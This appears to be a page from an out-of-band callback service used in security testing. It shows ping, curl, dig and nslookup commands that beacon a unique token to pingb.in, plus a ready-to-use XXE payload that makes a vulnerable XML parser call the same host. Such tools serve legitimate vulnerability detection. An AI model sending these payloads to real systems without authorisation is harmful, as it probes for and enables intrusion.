$ ping -c1 -p 007d95bf187d47a610bd669ccef9c700 pingb.in
 
$ curl pingb.in/p/7d95bf187d47a610bd669ccef9c7
 
$ dig 7d95bf187d47a610bd669ccef9c7 @pingb.in
 
$ dig 7d95bf187d47a610bd669ccef9c7.ns.pingb.in
 
C:\> nslookup 7d95bf187d47a610bd669ccef9c7 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/7d95bf187d47a610bd669ccef9c7">]>
    <foo>&xxe;</foo>
Waiting for ping...